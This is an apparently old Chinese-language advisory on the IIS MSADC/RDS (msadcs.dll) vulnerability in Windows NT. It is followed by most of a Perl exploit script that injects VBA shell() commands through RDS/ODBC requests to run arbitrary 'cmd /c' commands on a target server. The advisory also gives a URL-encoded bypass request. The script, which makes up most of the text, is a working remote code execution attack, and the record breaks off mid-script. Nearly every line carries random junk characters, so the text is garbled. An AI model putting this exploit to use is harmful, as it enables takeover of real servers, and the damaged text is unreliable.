IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3 "l
F J7ktfyQ0W 涉及程序:
`xX4!^0Hm Microsoft NT server
Xvu) P
0Efh?oZ 描述:
$35,\ZO> 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
VXkAFgO KIKq9 * 详细:
A3"1D 如果你没有时间读详细内容的话,就删除:
umm \r&]A c:\Program Files\Common Files\System\Msadc\msadcs.dll
+#*&XX5A#? 有关的安全问题就没有了。
kQwm"Z +2EHmuJ; 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]D{c4)\7C| Bn1L?>G 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
r}R^<y@I 关于利用ODBC远程漏洞的描述,请参看:
dqD;y#/ 8K.s@< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm oE!hF }O i'!jx. 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
cB ab2/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8lOZIbwS BZJKiiD 这里不再论述。
C!7U<rI @1<omsl 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
#.)xm(Ys T/wM(pr'
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Mu'^OX82 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
,b6kTQq tg7C;rJ NokXE #将下面这段保存为txt文件,然后: "perl -x 文件名"
U~{Sa+ 'f-
#!perl
N
b3I%r #
{ r6]MS#l1 # MSADC/RDS 'usage' (aka exploit) script
O1?B{F/ e #
5;FP.{+ # by rain.forest.puppy
FgOUe #
px w{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:3a&Pb*PL # beta test and find errors!
J4gI=@e n2n00%Wu[ use Socket; use Getopt::Std;
#D`S getopts("e:vd:h:XR", \%args);
S)"##-~`T ;Ze"<U print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5jn$7iE` ?CH?kP if (!defined $args{h} && !defined $args{R}) {
0 NQ7#A print qq~
MV0<^/p| Usage: msadc.pl -h <host> { -d <delay> -X -v }
4ef*9|^x# -h <host> = host you want to scan (ip or domain)
_YH<YOrMh -d <seconds> = delay between calls, default 1 second
#0P!xZ'|{ -X = dump Index Server path table, if available
2f3=?YqD -v = verbose
v78&[ -e = external dictionary file for step 5
+"YTCzv;t 8?e Or a -R will resume a command session
$zC6(C(l cs K>iN ~; exit;}
UvPp~N7, gf0PMc3l $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+jq
2pFQ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
:v#k&Uh3y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
W
*YW6 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
I:F'S# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
EvwbhvA( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
cy1\u2x_` M0O>Ljo4RN if (!defined $args{R}){ $ret = &has_msadc;
=QrA0kQR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Rr+qgt;f5 #mgA/q?A print "Please type the NT commandline you want to run (cmd /c assumed):\n"
n&_YYEHx . "cmd /c ";
QjQ4Z'.r > $in=<STDIN>; chomp $in;
|yLk5e~@- $command="cmd /c " . $in ;
LIr(mB"Y0 R]CZw;zS_ if (defined $args{R}) {&load; exit;}
nHSTeFI? uDILjOT print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
d4d\0[ &try_btcustmr;
&bB6}H( oz%h)#; print "\nStep 2: Trying to make our own DSN...";
/"(b.& &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
wX-RQ[2X myD{sE2A print "\nStep 3: Trying known DSNs...";
;US83%* &known_dsn;
dKU5; %z1{Kus print "\nStep 4: Trying known .mdbs...";
z8b
_ _%Br &known_mdb;
pz$_W -{!&/;Z if (defined $args{e}){
pAENXC\, print "\nStep 5: Trying dictionary of DSN names...";
mH'\:oN &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
=fo4x|{O G-2EQ. print "Sorry Charley...maybe next time?\n";
DZJeup?Z exit;
^[en3aQ 6/|U ##############################################################################
Y.E?;iS wOjv[@d sub sendraw { # ripped and modded from whisker
>[K0=nA sleep($delay); # it's a DoS on the server! At least on mine...
mDZ=Due1 my ($pstr)=@_;
{U(Bfe^a, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
w]n4KR4 die("Socket problems\n");
]X*YAPv if(connect(S,pack "SnA4x8",2,80,$target)){
9^oo-,Su_ select(S); $|=1;
GL/ KB print $pstr; my @in=<S>;
/a%*u6z@ select(STDOUT); close(S);
=]T|h return @in;
[d0%.+U } else { die("Can't connect...\n"); }}
b 1cd&e V{KjRSVf= ##############################################################################
FnY$)o; ?3[tJreVj sub make_header { # make the HTTP request
b<\$d4Qy my $msadc=<<EOT
{&uT3*V1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9 >%+bA( User-Agent: ACTIVEDATA
o1U}/y+R\ Host: $ip
w.tW=z5 Content-Length: $clen
"s% 686Vz Connection: Keep-Alive
)eECOfmnZ 0X.TF ADCClientVersion:01.06
B-$+UE>% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
XHy? }bp.OV-+ --!ADM!ROX!YOUR!WORLD!
3a%xn4P Content-Type: application/x-varg
`%uK0qw" Content-Length: $reqlen
S:#e8H_7m] (JWv *p EOT
Q2q|*EL ; $msadc=~s/\n/\r\n/g;
D{>\-]\ return $msadc;}
N50fL sqT^t! ##############################################################################
6Hda]y RXM}hqeG sub make_req { # make the RDS request
am2a#4` my ($switch, $p1, $p2)=@_;
A&NqQ
V, my $req=""; my $t1, $t2, $query, $dsn;
6>s=CiZB jSB'>m] if ($switch==1){ # this is the btcustmr.mdb query
q=njKC $query="Select * from Customers where City=" . make_shell();
;:U<ce= $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
|IAW{_9)U $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+Jdm#n?_ +uELTHH= elsif ($switch==2){ # this is general make table query
/0
_zXQyV $query="create table AZZ (B int, C varchar(10))";
^eobp.U $dsn="$p1";}
|Hfl&3 C*a,<` elsif ($switch==3){ # this is general exploit table query
`T=1<Tw c $query="select * from AZZ where C=" . make_shell();
GJvp{U}y9I $dsn="$p1";}
n_J5zQJ ?;_H{/)m elsif ($switch==4){ # attempt to hork file info from index server
<z',]hy $query="select path from scope()";
+ZX.1[O $dsn="Provider=MSIDXS;";}
@/LiR>, I
:@|^PYw elsif ($switch==5){ # bad query
"(<%Ua $query="select";
@O'I)(To $dsn="$p1";}
bTiBmS >d97l&W $t1= make_unicode($query);
u7[pLtOwN $t2= make_unicode($dsn);
nW11wtiO. $req = "\x02\x00\x03\x00";
g**5z'7 $req.= "\x08\x00" . pack ("S1", length($t1));
3 tF: $req.= "\x00\x00" . $t1 ;
vnL?O8`c $req.= "\x08\x00" . pack ("S1", length($t2));
JxHv<p[ $req.= "\x00\x00" . $t2 ;
T!(sZf $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
TywK\hH return $req;}
.D!WO w]}f6VlEl ##############################################################################
^(DL+r, 6(>WGR sub make_shell { # this makes the shell() statement
k&!6fZ) return "'|shell(\"$command\")|'";}
-qfnUh $,@JYLC2 ##############################################################################
>%l:Dw\A: oJh"@6u6K sub make_unicode { # quick little function to convert to unicode
D&-vq,c my ($in)=@_; my $out;
i+I0k~wY for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ZL,6_L/ return $out;}
t| _{;!^
R1Yqz $# ##############################################################################
94y9W# V,m3-=q sub rdo_success { # checks for RDO return success (this is kludge)
K_Re}\D my (@in) = @_; my $base=content_start(@in);
q=+wI"[ if($in[$base]=~/multipart\/mixed/){
.'&V#D0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
"Vx6 #u@} return 0;}
~TM>"eB b -zdmr"CA ##############################################################################
WU7cF81$ 5/,Qz>QE[ sub make_dsn { # this makes a DSN for us
c@9##DPn my @drives=("c","d","e","f");
Ok,HD7 print "\nMaking DSN: ";
(Igu:= foreach $drive (@drives) {
#n#HzbT print "$drive: ";
9OfU7_m my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
9>;} /*:H "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
cl_TF[n? . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
a MsJO*;> $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
x%pRDytA return 0 if $2 eq "404"; # not found/doesn't exist
,WGc7NN` if($2 eq "200") {
%0zS foreach $line (@results) {
S}b~_} return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6uqUiRs() } return 0;}
9$wAm89 ##GY<\",; ##############################################################################
{m'AY) c})wD+1 sub verify_exists {
vzG ABP my ($page)=@_;
e,"FnW my @results=sendraw("GET $page HTTP/1.0\n\n");
8gAu7\p} return $results[0];}
)P%4:P XfDX:b1p ##############################################################################
M9DgO4xl B$j' /e-Zk sub try_btcustmr {
h;nQxmJ9 my @drives=("c","d","e","f");
0#^Bf[Dn my @dirs=("winnt","winnt35","winnt351","win","windows");
,Y-S( 2LC
w*eT{) foreach $dir (@dirs) {
#QS?s8IrW print "$dir -> "; # fun status so you can see progress
C99&L3bz^( foreach $drive (@drives) {
-x5F;d} print "$drive: "; # ditto
|Qr:!MA $reqlen=length( make_req(1,$drive,$dir) ) - 28;
FB_NkXR $reqlenlen=length( "$reqlen" );
dXK-&Po' $clen= 206 + $reqlenlen + $reqlen;
@h9K d>/Tu_ y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.6Fsw
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
fM2^MUp[=1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
TRy^hr8~ Fpf><Rn ##############################################################################
6+e4<sy[E {Zl4C;c sub odbc_error {
h7*O.Opm= my (@in)=@_; my $base;
+99Bi2H}o my $base = content_start(@in);
QtlT&|$ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R>HY:-2 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}1@E"6kF $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f"P$f8$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&`@lB (m return $in[$base+4].$in[$base+5].$in[$base+6];}
U=DEV7 E print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Zw24f1iY print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Yv=g^tw $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
^)<